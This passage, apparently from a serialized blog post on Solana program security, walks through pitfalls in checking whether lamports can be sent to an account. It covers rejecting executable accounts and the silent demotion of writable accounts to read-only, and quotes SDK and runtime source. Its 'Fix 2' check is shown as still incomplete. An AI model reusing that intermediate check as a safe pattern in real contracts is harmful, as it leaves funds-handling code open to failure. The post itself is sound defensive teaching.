account, loader-v4 stores all program data directly in the program account itself.",{"type":23,"tag":24,"props":73998,"children":73999},{},[74000,74002,74009,74011,74016],{"type":28,"value":74001},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":23,"tag":36,"props":74003,"children":74006},{"href":74004,"rel":74005},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[40],[74007],{"type":28,"value":74008},"migrate",{"type":28,"value":74010}," from the upgradable loader to loader-v4 — without hitting the ",{"type":23,"tag":209,"props":74012,"children":74014},{"className":74013},[],[74015],{"type":28,"value":73449},{"type":28,"value":74017}," restriction.",{"type":23,"tag":18945,"props":74019,"children":74021},{"id":74020},"fix-2-reject-program-accounts",[74022],{"type":28,"value":74023},"Fix 2: Reject Program Accounts",{"type":23,"tag":24,"props":74025,"children":74026},{},[74027],{"type":28,"value":74028},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":23,"tag":202,"props":74030,"children":74032},{"className":206,"code":74031,"language":205,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n && rent.is_exempt(balance_after, account.data_len())\n && !is_program(account))\n}\n",[74033],{"type":23,"tag":209,"props":74034,"children":74035},{"__ignoreMap":7},[74036,74112,74160,74176,74183,74222,74266,74290,74339,74367],{"type":23,"tag":213,"props":74037,"children":74038},{"class":215,"line":216},[74039,74043,74047,74052,74056,74060,74064,74068,74072,74076,74080,74084,74088,74092,74096,74100,74104,74108],{"type":23,"tag":213,"props":74040,"children":74041},{"style":230},[74042],{"type":28,"value":233},{"type":23,"tag":213,"props":74044,"children":74045},{"style":230},[74046],{"type":28,"value":254},{"type":23,"tag":213,"props":74048,"children":74049},{"style":257},[74050],{"type":28,"value":74051}," can_transfer_lamports",{"type":23,"tag":213,"props":74053,"children":74054},{"style":220},[74055],{"type":28,"value":265},{"type":23,"tag":213,"props":74057,"children":74058},{"style":268},[74059],{"type":28,"value":91},{"type":23,"tag":213,"props":74061,"children":74062},{"style":274},[74063],{"type":28,"value":277},{"type":23,"tag":213,"props":74065,"children":74066},{"style":274},[74067],{"type":28,"value":927},{"type":23,"tag":213,"props":74069,"children":74070},{"style":290},[74071],{"type":28,"value":439},{"type":23,"tag":213,"props":74073,"children":74074},{"style":220},[74075],{"type":28,"value":424},{"type":23,"tag":213,"props":74077,"children":74078},{"style":268},[74079],{"type":28,"value":2033},{"type":23,"tag":213,"props":74081,"children":74082},{"style":274},[74083],{"type":28,"value":277},{"type":23,"tag":213,"props":74085,"children":74086},{"style":290},[74087],{"type":28,"value":308},{"type":23,"tag":213,"props":74089,"children":74090},{"style":220},[74091],{"type":28,"value":298},{"type":23,"tag":213,"props":74093,"children":74094},{"style":274},[74095],{"type":28,"value":303},{"type":23,"tag":213,"props":74097,"children":74098},{"style":290},[74099],{"type":28,"value":13838},{"type":23,"tag":213,"props":74101,"children":74102},{"style":220},[74103],{"type":28,"value":434},{"type":23,"tag":213,"props":74105,"children":74106},{"style":290},[74107],{"type":28,"value":29741},{"type":23,"tag":213,"props":74109,"children":74110},{"style":220},[74111],{"type":28,"value":905},{"type":23,"tag":213,"props":74113,"children":74114},{"class":215,"line":226},[74115,74119,74124,74128,74132,74136,74140,74144,74148,74152,74156],{"type":23,"tag":213,"props":74116,"children":74117},{"style":230},[74118],{"type":28,"value":20321},{"type":23,"tag":213,"props":74120,"children":74121},{"style":257},[74122],{"type":28,"value":74123}," is_program",{"type":23,"tag":213,"props":74125,"children":74126},{"style":220},[74127],{"type":28,"value":265},{"type":23,"tag":213,"props":74129,"children":74130},{"style":268},[74131],{"type":28,"value":91},{"type":23,"tag":213,"props":74133,"children":74134},{"style":274},[74135],{"type":28,"value":277},{"type":23,"tag":213,"props":74137,"children":74138},{"style":274},[74139],{"type":28,"value":927},{"type":23,"tag":213,"props":74141,"children":74142},{"style":290},[74143],{"type":28,"value":439},{"type":23,"tag":213,"props":74145,"children":74146},{"style":220},[74147],{"type":28,"value":298},{"type":23,"tag":213,"props":74149,"children":74150},{"style":274},[74151],{"type":28,"value":303},{"type":23,"tag":213,"props":74153,"children":74154},{"style":290},[74155],{"type":28,"value":965},{"type":23,"tag":213,"props":74157,"children":74158},{"style":220},[74159],{"type":28,"value":1375},{"type":23,"tag":213,"props":74161,"children":74162},{"class":215,"line":524},[74163,74167,74171],{"type":23,"tag":213,"props":74164,"children":74165},{"style":268},[74166],{"type":28,"value":25230},{"type":23,"tag":213,"props":74168,"children":74169},{"style":274},[74170],{"type":28,"value":124},{"type":23,"tag":213,"props":74172,"children":74173},{"style":220},[74174],{"type":28,"value":74175},"executable\n",{"type":23,"tag":213,"props":74177,"children":74178},{"class":215,"line":533},[74179],{"type":23,"tag":213,"props":74180,"children":74181},{"style":220},[74182],{"type":28,"value":1208},{"type":23,"tag":213,"props":74184,"children":74185},{"class":215,"line":543},[74186,74190,74194,74198,74202,74206,74210,74214,74218],{"type":23,"tag":213,"props":74187,"children":74188},{"style":230},[74189],{"type":28,"value":11871},{"type":23,"tag":213,"props":74191,"children":74192},{"style":268},[74193],{"type":28,"value":72944},{"type":23,"tag":213,"props":74195,"children":74196},{"style":274},[74197],{"type":28,"value":511},{"type":23,"tag":213,"props":74199,"children":74200},{"style":290},[74201],{"type":28,"value":43521},{"type":23,"tag":213,"props":74203,"children":74204},{"style":274},[74205],{"type":28,"value":562},{"type":23,"tag":213,"props":74207,"children":74208},{"style":257},[74209],{"type":28,"value":16403},{"type":23,"tag":213,"props":74211,"children":74212},{"style":220},[74213],{"type":28,"value":13955},{"type":23,"tag":213,"props":74215,"children":74216},{"style":274},[74217],{"type":28,"value":2126},{"type":23,"tag":213,"props":74219,"children":74220},{"style":220},[74221],{"type":28,"value":313},{"type":23,"tag":213,"props":74223,"children":74224},{"class":215,"line":551},[74225,74229,74234,74238,74242,74246,74250,74254,74258,74262],{"type":23,"tag":213,"props":74226,"children":74227},{"style":230},[74228],{"type":28,"value":11871},{"type":23,"tag":213,"props":74230,"children":74231},{"style":268},[74232],{"type":28,"value":74233}," balance_after",{"type":23,"tag":213,"props":74235,"children":74236},{"style":274},[74237],{"type":28,"value":511},{"type":23,"tag":213,"props":74239,"children":74240},{"style":268},[74241],{"type":28,"value":5575},{"type":23,"tag":213,"props":74243,"children":74244},{"style":274},[74245],{"type":28,"value":124},{"type":23,"tag":213,"props":74247,"children":74248},{"style":257},[74249],{"type":28,"value":2033},{"type":23,"tag":213,"props":74251,"children":74252},{"style":220},[74253],{"type":28,"value":2698},{"type":23,"tag":213,"props":74255,"children":74256},{"style":274},[74257],{"type":28,"value":2703},{"type":23,"tag":213,"props":74259,"children":74260},{"style":268},[74261],{"type":28,"value":1005},{"type":23,"tag":213,"props":74263,"children":74264},{"style":220},[74265],{"type":28,"value":313},{"type":23,"tag":213,"props":74267,"children":74268},{"class":215,"line":570},[74269,74273,74277,74281,74285],{"type":23,"tag":213,"props":74270,"children":74271},{"style":290},[74272],{"type":28,"value":20543},{"type":23,"tag":213,"props":74274,"children":74275},{"style":220},[74276],{"type":28,"value":265},{"type":23,"tag":213,"props":74278,"children":74279},{"style":268},[74280],{"type":28,"value":91},{"type":23,"tag":213,"props":74282,"children":74283},{"style":274},[74284],{"type":28,"value":124},{"type":23,"tag":213,"props":74286,"children":74287},{"style":220},[74288],{"type":28,"value":74289},"is_writable\n",{"type":23,"tag":213,"props":74291,"children":74292},{"class":215,"line":655},[74293,74297,74301,74305,74310,74314,74319,74323,74327,74331,74335],{"type":23,"tag":213,"props":74294,"children":74295},{"style":274},[74296],{"type":28,"value":15678},{"type":23,"tag":213,"props":74298,"children":74299},{"style":268},[74300],{"type":28,"value":72944},{"type":23,"tag":213,"props":74302,"children":74303},{"style":274},[74304],{"type":28,"value":124},{"type":23,"tag":213,"props":74306,"children":74307},{"style":257},[74308],{"type":28,"value":74309},"is_exempt",{"type":23,"tag":213,"props":74311,"children":74312},{"style":220},[74313],{"type":28,"value":265},{"type":23,"tag":213,"props":74315,"children":74316},{"style":268},[74317],{"type":28,"value":74318},"balance_after",{"type":23,"tag":213,"props":74320,"children":74321},{"style":220},[74322],{"type":28,"value":424},{"type":23,"tag":213,"props":74324,"children":74325},{"style":268},[74326],{"type":28,"value":91},{"type":23,"tag":213,"props":74328,"children":74329},{"style":274},[74330],{"type":28,"value":124},{"type":23,"tag":213,"props":74332,"children":74333},{"style":257},[74334],{"type":28,"value":13882},{"type":23,"tag":213,"props":74336,"children":74337},{"style":220},[74338],{"type":28,"value":15715},{"type":23,"tag":213,"props":74340,"children":74341},{"class":215,"line":1176},[74342,74346,74350,74355,74359,74363],{"type":23,"tag":213,"props":74343,"children":74344},{"style":274},[74345],{"type":28,"value":15678},{"type":23,"tag":213,"props":74347,"children":74348},{"style":274},[74349],{"type":28,"value":2658},{"type":23,"tag":213,"props":74351,"children":74352},{"style":257},[74353],{"type":28,"value":74354},"is_program",{"type":23,"tag":213,"props":74356,"children":74357},{"style":220},[74358],{"type":28,"value":265},{"type":23,"tag":213,"props":74360,"children":74361},{"style":268},[74362],{"type":28,"value":91},{"type":23,"tag":213,"props":74364,"children":74365},{"style":220},[74366],{"type":28,"value":19766},{"type":23,"tag":213,"props":74368,"children":74369},{"class":215,"line":1202},[74370],{"type":23,"tag":213,"props":74371,"children":74372},{"style":220},[74373],{"type":28,"value":1208},{"type":23,"tag":24,"props":74375,"children":74376},{},[74377],{"type":28,"value":74378},"Now we’re safe...right?",{"type":23,"tag":9693,"props":74380,"children":74382},{"id":74381},"bug-3-the-write-demotion-trap",[74383],{"type":28,"value":74384},"Bug 3: The Write-Demotion Trap",{"type":23,"tag":24,"props":74386,"children":74387},{},[74388,74390,74394,74396,74401],{"type":28,"value":74389},"On Solana, accounts passed as ",{"type":23,"tag":95,"props":74391,"children":74392},{},[74393],{"type":28,"value":106},{"type":28,"value":74395}," in a transaction can be ",{"type":23,"tag":95,"props":74397,"children":74398},{},[74399],{"type":28,"value":74400},"silently downgraded to read-only",{"type":28,"value":74402},". This behavior occurs during message sanitization — even before your program runs.",{"type":23,"tag":24,"props":74404,"children":74405},{},[74406,74408,74415],{"type":28,"value":74407},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":23,"tag":36,"props":74409,"children":74412},{"href":74410,"rel":74411},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[40],[74413],{"type":28,"value":74414},"MessageV0",{"type":28,"value":74416},", but legacy is simpler to follow):",{"type":23,"tag":202,"props":74418,"children":74420},{"className":206,"code":74419,"language":205,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n let is_writable_account_cache = message\n .account_keys\n .iter()\n .enumerate()\n .map(|(i, _key)| {\n message.is_writable_index(i)\n && !reserved_account_keys.contains(&message.account_keys[i])\n && !message.demote_program_id(i)\n })\n .collect::\u003CVec\u003C_>>();\n Self {\n message: Cow::Owned(message),\n is_writable_account_cache,\n }\n }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[74421],{"type":23,"tag":209,"props":74422,"children":74423},{"__ignoreMap":7},[74424,74432,74456,74544,74565,74577,74593,74609,74657,74686,74740,74776,74784,74821,74833,74871,74883,74890,74897,74904,74911,74919,74979,75032],{"type":23,"tag":213,"props":74425,"children":74426},{"class":215,"line":216},[74427],{"type":23,"tag":213,"props":74428,"children":74429},{"style":537},[74430],{"type":28,"value":74431},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":23,"tag":213,"props":74433,"children":74434},{"class":215,"line":226},[74435,74439,74444,74448,74452],{"type":23,"tag":213,"props":74436,"children":74437},{"style":230},[74438],{"type":28,"value":28250},{"type":23,"tag":213,"props":74440,"children":74441},{"style":290},[74442],{"type":28,"value":74443}," LegacyMessage",{"type":23,"tag":213,"props":74445,"children":74446},{"style":220},[74447],{"type":28,"value":358},{"type":23,"tag":213,"props":74449,"children":74450},{"style":290},[74451],{"type":28,"value":3181},{"type":23,"tag":213,"props":74453,"children":74454},{"style":220},[74455],{"type":28,"value":905},{"type":23,"tag":213,"props":74457,"children":74458},{"class":215,"line":524},[74459,74463,74467,74471,74475,74479,74483,74488,74492,74497,74501,74506,74510,74514,74519,74523,74527,74531,74535,74540],{"type":23,"tag":213,"props":74460,"children":74461},{"style":230},[74462],{"type":28,"value":913},{"type":23,"tag":213,"props":74464,"children":74465},{"style":230},[74466],{"type":28,"value":254},{"type":23,"tag":213,"props":74468,"children":74469},{"style":257},[74470],{"type":28,"value":31989},{"type":23,"tag":213,"props":74472,"children":74473},{"style":220},[74474],{"type":28,"value":265},{"type":23,"tag":213,"props":74476,"children":74477},{"style":268},[74478],{"type":28,"value":68090},{"type":23,"tag":213,"props":74480,"children":74481},{"style":274},[74482],{"type":28,"value":277},{"type":23,"tag":213,"props":74484,"children":74485},{"style":220},[74486],{"type":28,"value":74487}," legacy",{"type":23,"tag":213,"props":74489,"children":74490},{"style":274},[74491],{"type":28,"value":562},{"type":23,"tag":213,"props":74493,"children":74494},{"style":290},[74495],{"type":28,"value":74496},"Message",{"type":23,"tag":213,"props":74498,"children":74499},{"style":220},[74500],{"type":28,"value":424},{"type":23,"tag":213,"props":74502,"children":74503},{"style":268},[74504],{"type":28,"value":74505},"reserved_account_keys",{"type":23,"tag":213,"props":74507,"children":74508},{"style":274},[74509],{"type":28,"value":277},{"type":23,"tag":213,"props":74511,"children":74512},{"style":274},[74513],{"type":28,"value":927},{"type":23,"tag":213,"props":74515,"children":74516},{"style":290},[74517],{"type":28,"value":74518},"HashSet",{"type":23,"tag":213,"props":74520,"children":74521},{"style":220},[74522],{"type":28,"value":434},{"type":23,"tag":213,"props":74524,"children":74525},{"style":290},[74526],{"type":28,"value":1532},{"type":23,"tag":213,"props":74528,"children":74529},{"style":220},[74530],{"type":28,"value":20500},{"type":23,"tag":213,"props":74532,"children":74533},{"style":274},[74534],{"type":28,"value":303},{"type":23,"tag":213,"props":74536,"children":74537},{"style":230},[74538],{"type":28,"value":74539}," Self",{"type":23,"tag":213,"props":74541,"children":74542},{"style":220},[74543],{"type":28,"value":1375},{"type":23,"tag":213,"props":74545,"children":74546},{"class":215,"line":533},[74547,74551,74556,74560],{"type":23,"tag":213,"props":74548,"children":74549},{"style":230},[74550],{"type":28,"value":3163},{"type":23,"tag":213,"props":74552,"children":74553},{"style":268},[74554],{"type":28,"value":74555}," is_writable_account_cache",{"type":23,"tag":213,"props":74557,"children":74558},{"style":274},[74559],{"type":28,"value":511},{"type":23,"tag":213,"props":74561,"children":74562},{"style":268},[74563],{"type":28,"value":74564}," message\n",{"type":23,"tag":213,"props":74566,"children":74567},{"class":215,"line":543},[74568,74572],{"type":23,"tag":213,"props":74569,"children":74570},{"style":274},[74571],{"type":28,"value":3264},{"type":23,"tag":213,"props":74573,"children":74574},{"style":220},[74575],{"type":28,"value":74576},"account_keys\n",{"type":23,"tag":213,"props":74578,"children":74579},{"class":215,"line":551},[74580,74584,74589],{"type":23,"tag":213,"props":74581,"children":74582},{"style":274},[74583],{"type":28,"value":3264},{"type":23,"tag":213,"props":74585,"children":74586},{"style":257},[74587],{"type":28,"value":74588},"iter",{"type":23,"tag":213,"props":74590,"children":74591},{"style":220},[74592],{"type":28,"value":7824},{"type":23,"tag":213,"props":74594,"children":74595},{"class":215,"line":570},[74596,74600,74605],{"type":23,"tag":213,"props":74597,"children":74598},{"style":274},[74599],{"type":28,"value":3264},{"type":23,"tag":213,"props":74601,"children":74602},{"style":257},[74603],{"type":28,"value":74604},"enumerate",{"type":23,"tag":213,"props":74606,"children":74607},{"style":220},[74608],{"type":28,"value":7824},{"type":23,"tag":213,"props":74610,"children":74611},{"class":215,"line":655},[74612,74616,74620,74624,74628,74632,74636,74640,74645,74649,74653],{"type":23,"tag":213,"props":74613,"children":74614},{"style":274},[74615],{"type":28,"value":3264},{"type":23,"tag":213,"props":74617,"children":74618},{"style":257},[74619],{"type":28,"value":67156},{"type":23,"tag":213,"props":74621,"children":74622},{"style":220},[74623],{"type":28,"value":265},{"type":23,"tag":213,"props":74625,"children":74626},{"style":274},[74627],{"type":28,"value":10499},{"type":23,"tag":213,"props":74629,"children":74630},{"style":220},[74631],{"type":28,"value":265},{"type":23,"tag":213,"props":74633,"children":74634},{"style":268},[74635],{"type":28,"value":3826},{"type":23,"tag":213,"props":74637,"children":74638},{"style":220},[74639],{"type":28,"value":424},{"type":23,"tag":213,"props":74641,"children":74642},{"style":268},[74643],{"type":28,"value":74644},"_key",{"type":23,"tag":213,"props":74646,"children":74647},{"style":220},[74648],{"type":28,"value":2121},{"type":23,"tag":213,"props":74650,"children":74651},{"style":274},[74652],{"type":28,"value":10499},{"type":23,"tag":213,"props":74654,"children":74655},{"style":220},[74656],{"type":28,"value":1375},{"type":23,"tag":213,"props":74658,"children":74659},{"class":215,"line":1176},[74660,74665,74669,74674,74678,74682],{"type":23,"tag":213,"props":74661,"children":74662},{"style":268},[74663],{"type":28,"value":74664}," message",{"type":23,"tag":213,"props":74666,"children":74667},{"style":274},[74668],{"type":28,"value":124},{"type":23,"tag":213,"props":74670,"children":74671},{"style":257},[74672],{"type":28,"value":74673},"is_writable_index",{"type":23,"tag":213,"props":74675,"children":74676},{"style":220},[74677],{"type":28,"value":265},{"type":23,"tag":213,"props":74679,"children":74680},{"style":268},[74681],{"type":28,"value":3826},{"type":23,"tag":213,"props":74683,"children":74684},{"style":220},[74685],{"type":28,"value":2183},{"type":23,"tag":213,"props":74687,"children":74688},{"class":215,"line":1202},[74689,74694,74698,74702,74706,74711,74715,74719,74723,74727,74732,74736],{"type":23,"tag":213,"props":74690,"children":74691},{"style":274},[74692],{"type":28,"value":74693}," &&",{"type":23,"tag":213,"props":74695,"children":74696},{"style":274},[74697],{"type":28,"value":2658},{"type":23,"tag":213,"props":74699,"children":74700},{"style":268},[74701],{"type":28,"value":74505},{"type":23,"tag":213,"props":74703,"children":74704},{"style":274},[74705],{"type":28,"value":124},{"type":23,"tag":213,"props":74707,"children":74708},{"style":257},[74709],{"type":28,"value":74710},"contains",{"type":23,"tag":213,"props":74712,"children":74713},{"style":220},[74714],{"type":28,"value":265},{"type":23,"tag":213,"props":74716,"children":74717},{"style":274},[74718],{"type":28,"value":405},{"type":23,"tag":213,"props":74720,"children":74721},{"style":268},[74722],{"type":28,"value":68090},{"type":23,"tag":213,"props":74724,"children":74725},{"style":274},[74726],{"type":28,"value":124},{"type":23,"tag":213,"props":74728,"children":74729},{"style":220},[74730],{"type":28,"value":74731},"account_keys[",{"type":23,"tag":213,"props":74733,"children":74734},{"style":268},[74735],{"type":28,"value":3826},{"type":23,"tag":213,"props":74737,"children":74738},{"style":220},[74739],{"type":28,"value":858},{"type":23,"tag":213,"props":74741,"children":74742},{"class":215,"line":1758},[74743,74747,74751,74755,74759,74764,74768,74772],{"type":23,"tag":213,"props":74744,"children":74745},{"style":274},[74746],{"type":28,"value":74693},{"type":23,"tag":213,"props":74748,"children":74749},{"style":274},[74750],{"type":28,"value":2658},{"type":23,"tag":213,"props":74752,"children":74753},{"style":268},[74754],{"type":28,"value":68090},{"type":23,"tag":213,"props":74756,"children":74757},{"style":274},[74758],{"type":28,"value":124},{"type":23,"tag":213,"props":74760,"children":74761},{"style":257},[74762],{"type":28,"value":74763},"demote_program_id",{"type":23,"tag":213,"props":74765,"children":74766},{"style":220},[74767],{"type":28,"value":265},{"type":23,"tag":213,"props":74769,"children":74770},{"style":268},[74771],{"type":28,"value":3826},{"type":23,"tag":213,"props":74773,"children":74774},{"style":220},[74775],{"type":28,"value":2183},{"type":23,"tag":213,"props":74777,"children":74778},{"class":215,"line":1767},[74779],{"type":23,"tag":213,"props":74780,"children":74781},{"style":220},[74782],{"type":28,"value":74783}," })\n",{"type":23,"tag":213,"props":74785,"children":74786},{"class":215,"line":1789},[74787,74791,74796,74800,74804,74808,74812,74816],{"type":23,"tag":213,"props":74788,"children":74789},{"style":274},[74790],{"type":28,"value":3264},{"type":23,"tag":213,"props":74792,"children":74793},{"style":257},[74794],{"type":28,"value":74795},"collect",{"type":23,"tag":213,"props":74797,"children":74798},{"style":274},[74799],{"type":28,"value":562},{"type":23,"tag":213,"props":74801,"children":74802},{"style":220},[74803],{"type":28,"value":434},{"type":23,"tag":213,"props":74805,"children":74806},{"style":290},[74807],{"type":28,"value":429},{"type":23,"tag":213,"props":74809,"children":74810},{"style":220},[74811],{"type":28,"value":434},{"type":23,"tag":213,"props":74813,"children":74814},{"style":268},[74815],{"type":28,"value":3181},{"type":23,"tag":213,"props":74817,"children":74818},{"style":220},[74819],{"type":28,"value":74820},">>();\n",{"type":23,"tag":213,"props":74822,"children":74823},{"class":215,"line":1812},[74824,74829],{"type":23,"tag":213,"props":74825,"children":74826},{"style":230},[74827],{"type":28,"value":74828}," Self",{"type":23,"tag":213,"props":74830,"children":74831},{"style":220},[74832],{"type":28,"value":1375},{"type":23,"tag":213,"props":74834,"children":74835},{"class":215,"line":1838},[74836,74841,74845,74850,74854,74859,74863,74867],{"type":23,"tag":213,"props":74837,"children":74838},{"style":268},[74839],{"type":28,"value":74840}," message",{"type":23,"tag":213,"props":74842,"children":74843},{"style":274},[74844],{"type":28,"value":277},{"type":23,"tag":213,"props":74846,"children":74847},{"style":290},[74848],{"type":28,"value":74849}," Cow",{"type":23,"tag":213,"props":74851,"children":74852},{"style":274},[74853],{"type":28,"value":562},{"type":23,"tag":213,"props":74855,"children":74856},{"style":257},[74857],{"type":28,"value":74858},"Owned",{"type":23,"tag":213,"props":74860,"children":74861},{"style":220},[74862],{"type":28,"value":265},{"type":23,"tag":213,"props":74864,"children":74865},{"style":268},[74866],{"type":28,"value":68090},{"type":23,"tag":213,"props":74868,"children":74869},{"style":220},[74870],{"type":28,"value":1715},{"type":23,"tag":213,"props":74872,"children":74873},{"class":215,"line":1851},[74874,74879],{"type":23,"tag":213,"props":74875,"children":74876},{"style":268},[74877],{"type":28,"value":74878}," is_writable_account_cache",{"type":23,"tag":213,"props":74880,"children":74881},{"style":220},[74882],{"type":28,"value":944},{"type":23,"tag":213,"props":74884,"children":74885},{"class":215,"line":1864},[74886],{"type":23,"tag":213,"props":74887,"children":74888},{"style":220},[74889],{"type":28,"value":3444},{"type":23,"tag":213,"props":74891,"children":74892},{"class":215,"line":1890},[74893],{"type":23,"tag":213,"props":74894,"children":74895},{"style":220},[74896],{"type":28,"value":2875},{"type":23,"tag":213,"props":74898,"children":74899},{"class":215,"line":1899},[74900],{"type":23,"tag":213,"props":74901,"children":74902},{"style":220},[74903],{"type":28,"value":1208},{"type":23,"tag":213,"props":74905,"children":74906},{"class":215,"line":1912},[74907],{"type":23,"tag":213,"props":74908,"children":74909},{"emptyLinePlaceholder":18},[74910],{"type":28,"value":530},{"type":23,"tag":213,"props":74912,"children":74913},{"class":215,"line":1921},[74914],{"type":23,"tag":213,"props":74915,"children":74916},{"style":537},[74917],{"type":28,"value":74918},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":23,"tag":213,"props":74920,"children":74921},{"class":215,"line":3879},[74922,74926,74930,74935,74939,74943,74947,74951,74955,74959,74963,74967,74971,74975],{"type":23,"tag":213,"props":74923,"children":74924},{"style":230},[74925],{"type":28,"value":233},{"type":23,"tag":213,"props":74927,"children":74928},{"style":230},[74929],{"type":28,"value":254},{"type":23,"tag":213,"props":74931,"children":74932},{"style":257},[74933],{"type":28,"value":74934}," demote_program_id",{"type":23,"tag":213,"props":74936,"children":74937},{"style":220},[74938],{"type":28,"value":265},{"type":23,"tag":213,"props":74940,"children":74941},{"style":274},[74942],{"type":28,"value":405},{"type":23,"tag":213,"props":74944,"children":74945},{"style":230},[74946],{"type":28,"value":13791},{"type":23,"tag":213,"props":74948,"children":74949},{"style":220},[74950],{"type":28,"value":424},{"type":23,"tag":213,"props":74952,"children":74953},{"style":268},[74954],{"type":28,"value":3826},{"type":23,"tag":213,"props":74956,"children":74957},{"style":274},[74958],{"type":28,"value":277},{"type":23,"tag":213,"props":74960,"children":74961},{"style":290},[74962],{"type":28,"value":506},{"type":23,"tag":213,"props":74964,"children":74965},{"style":220},[74966],{"type":28,"value":298},{"type":23,"tag":213,"props":74968,"children":74969},{"style":274},[74970],{"type":28,"value":303},{"type":23,"tag":213,"props":74972,"children":74973},{"style":290},[74974],{"type":28,"value":965},{"type":23,"tag":213,"props":74976,"children":74977},{"style":220},[74978],{"type":28,"value":1375},{"type":23,"tag":213,"props":74980,"children":74981},{"class":215,"line":3887},[74982,74986,74990,74995,74999,75003,75007,75011,75015,75019,75023,75028],{"type":23,"tag":213,"props":74983,"children":74984},{"style":230},[74985],{"type":28,"value":20840},{"type":23,"tag":213,"props":74987,"children":74988},{"style":274},[74989],{"type":28,"value":124},{"type":23,"tag":213,"props":74991,"children":74992},{"style":257},[74993],{"type":28,"value":74994},"is_key_called_as_program",{"type":23,"tag":213,"props":74996,"children":74997},{"style":220},[74998],{"type":28,"value":265},{"type":23,"tag":213,"props":75000,"children":75001},{"style":268},[75002],{"type":28,"value":3826},{"type":23,"tag":213,"props":75004,"children":75005},{"style":220},[75006],{"type":28,"value":298},{"type":23,"tag":213,"props":75008,"children":75009},{"style":274},[75010],{"type":28,"value":73250},{"type":23,"tag":213,"props":75012,"children":75013},{"style":274},[75014],{"type":28,"value":2658},{"type":23,"tag":213,"props":75016,"children":75017},{"style":230},[75018],{"type":28,"value":13791},{"type":23,"tag":213,"props":75020,"children":75021},{"style":274},[75022],{"type":28,"value":124},{"type":23,"tag":213,"props":75024,"children":75025},{"style":257},[75026],{"type":28,"value":75027},"is_upgradeable_loader_present",{"type":23,"tag":213,"props":75029,"children":75030},{"style":220},[75031],{"type":28,"value":7824},{"type":23,"tag":213,"props":75033,"children":75034},{"class":215,"line":3918},[75035],{"type":23,"tag":213,"props":75036,"children":75037},{"style":220},[75038],{"type":28,"value":1208},{"type":23,"tag":24,"props":75040,"children":75041},{},[75042],{"type":28,"value":75043},"As you can see, there are two main causes of write-demotion:",{"type":23,"tag":131,"props":75045,"children":75046},{},[75047,75059],{"type":23,"tag":135,"props":75048,"children":75049},{},[75050,75052],{"type":28,"value":75051},"The account appears in the ",{"type":23,"tag":36,"props":75053,"children":75056},{"href":75054,"rel":75055},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[40],[75057],{"type":28,"value":75058},"reserved account list",{"type":23,"tag":135,"props":75060,"children":75061},{},[75062],{"type":28,"value":75063},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":23,"tag":24,"props":75065,"children":75066},{},[75067],{"type":28,"value":75068},"The second case is generally covered by the executable check implemented previously.",{"type":23,"tag":24,"props":75070,"children":75071},{},[75072],{"type":28,"value":75073},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":23,"tag":18945,"props":75075,"children":75077},{"id":75076},"the-reserved-account-list",[75078],{"type":28,"value":75079},"The Reserved Account List",{"type":23,"tag":24,"props":75081,"children":75082},{},[75083,75085,75090],{"type":28,"value":75084},"The Solana runtime maintains a ",{"type":23,"tag":36,"props":75086,"children":75088},{"href":75054,"rel":75087},[40],[75089],{"type":28,"value":75058},{"type":28,"value":75091},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":23,"tag":24,"props":75093,"children":75094},{},[75095,75097,75104,75106,75111],{"type":28,"value":75096},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":23,"tag":36,"props":75098,"children":75101},{"href":75099,"rel":75100},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[40],[75102],{"type":28,"value":75103},"feature gate is actived",{"type":28,"value":75105},", the runtime will ",{"type":23,"tag":95,"props":75107,"children":75108},{},[75109],{"type":28,"value":75110},"automatically demote them to read-only",{"type":28,"value":75112},", even if the transaction marked them as writable.",{"type":23,"tag":202,"props":75114,"children":75116},{"className":206,"code":75115,"language":205,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n reserved_keys.update_active_set(&self.feature_set);\n Arc::new(reserved_keys)\n};\n",[75117],{"type":23,"tag":209,"props":75118,"children":75119},{"__ignoreMap":7},[75120,75128,75136,75160,75214,75252,75281],{"type":23,"tag":213,"props":75121,"children":75122},{"class":215,"line":216},[75123],{"type":23,"tag":213,"props":75124,"children":75125},{"style":537},[75126],{"type":28,"value":75127},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":23,"tag":213,"props":75129,"children":75130},{"class":215,"line":226},[75131],{"type":23,"tag":213,"props":75132,"children":75133},{"style":537},[75134],{"type":28,"value":75135},"// Update active set of reserved account keys which are not allowed to be write 